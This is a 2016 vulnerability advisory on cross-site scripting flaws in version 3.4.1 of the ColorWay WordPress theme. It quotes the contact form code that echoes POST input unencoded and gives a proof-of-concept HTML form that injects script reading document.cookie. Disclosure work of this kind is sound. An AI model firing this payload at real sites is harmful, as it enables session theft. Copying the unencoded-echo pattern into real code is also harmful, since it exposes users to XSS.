Advisory

Yorick Koster, July 2016

Cross-Site Scripting vulnerability in ColorWay WordPress Theme

Abstract

Multiple Cross-Site Scripting vulnerabilities were found in the ColorWay WordPress Theme. These issues allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website.

OVE ID

OVE-20160712-0024

Tested versions

These issues were successfully tested on ColorWay WordPress Theme version 3.4.1.

Fix

This issue is resolved in ColorWay WordPress Theme version 3.4.2.

Introduction

Colorway is simple, elegant, responsive WordPress Theme built by InkThemes.com. Multiple Cross-Site Scripting vulnerabilities were found in the ColorWay WordPress Theme. These issues allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website.

Details

These issues exists due to the lack of output encoding of user input. An example can be seen in the file contact.php. Several POST parameters are using in the output without applying proper encoding.

<form action="<?php the_permalink(); ?>" id="contactForm" method="post">
   <ul class="contactform">
      <li>
         <label for="contactName"><?php _e('Name:', 'colorway'); ?></label>
         <input type="text" name="contactName" id="contactName" value="<?php if (isset($_POST['contactName'])) echo $_POST['contactName']; ?>" class="required requiredField" />
         <?php if ($nameError != '') { ?>
            <span class="error"> <?php echo $nameError; ?> </span>
         <?php } ?>
      </li>
      <li>
         <label for="email"><?php _e('Email', 'colorway'); ?></label>
         <input type="text" name="email" id="email" value="<?php if (isset($_POST['email'])) echo $_POST['email']; ?>" class="required requiredField email" />
         <?php if ($emailError != '') { ?>
            <span class="error"> <?php echo $emailError; ?> </span>
         <?php } ?>
      </li>
      <li>
         <label for="commentsText"><?php _e('Message:', 'colorway'); ?></label>
         <textarea name="comments" id="commentsText" rows="20" cols="30" class="required requiredField"><?php
            if (isset($_POST['comments'])) {
               if (function_exists('stripslashes')) {
                  echo stripslashes($_POST['comments']);
               } else {
                  echo $_POST['comments'];
               }
            }
         ?>
         </textarea>
         <?php if ($commentError != '') { ?>
            <span class="error"> <?php echo $commentError; ?> </span>
         <?php } ?>
      </li>
      <li>
         <input type="submit" value="<?php _e('Send Email', 'colorway'); ?>"/>
      </li>
   </ul>
   <input type="hidden" name="submitted" id="submitted" value="true" />
</form>

Proof of concept

<html>
   <body>
      <form action="http://<target>/contact/" method="POST">
         <input type="hidden" name="contactName" value="&quot;><script>alert(document.cookie);</script>" />
         <input type="hidden" name="email" value="" />
         <input type="hidden" name="comments" value=" " />
         <input type="hidden" name="submitted" value="true" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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